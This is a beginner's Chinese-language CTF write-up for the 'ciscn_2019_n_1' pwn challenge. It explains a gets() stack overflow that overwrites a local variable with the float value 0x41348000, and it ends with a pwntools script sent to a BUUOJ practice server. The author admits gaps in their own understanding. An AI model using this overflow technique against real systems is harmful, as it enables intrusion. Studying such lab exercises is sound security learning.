ciscn_2019_n_1 1
一道pwn的栈溢出的修改特定值的题目
第一次入门pwn记录详细些,肯定有没理解的地方,看到请帮忙指正。

ida打开到main看到这些函数,setvbuf函数可以是已有的函数,具体用处不懂,但是这里的漏洞首先考虑func这个自定义的函数。
打开func

这个很明显就是关键函数。
看到gets,果断是栈溢出漏洞,因为这个函数的输入是未设置上限的,而栈是有一定空间的,很容易出现栈溢出。
看到是gets(v1)再判断v2这里就可以推断是输入从v1开始覆盖修改了v2的位置

看汇编,这里可以看到一个地址是0x4一个是0x30,减一下这个栈是有44个字节,剩下4个字节是覆盖给了v2(这里有问题计算一下16进制)
看到if的判断,是一个离谱的小数,这里注意到红圈,这里xmm0是一个特定的寄存器,把光标放到cs那里就可以出那个11.啥啥的16进制,具体原因不懂,望指教。
然后就可以写脚本
from pwn import *
p=remote('node4.buuoj.cn',27523)
payload="B"*44+p64(0x41348000)
p.sendline(payload)
p.interactive()

放入Ubuntu终端.出flag.

浙公网安备 33010602011771号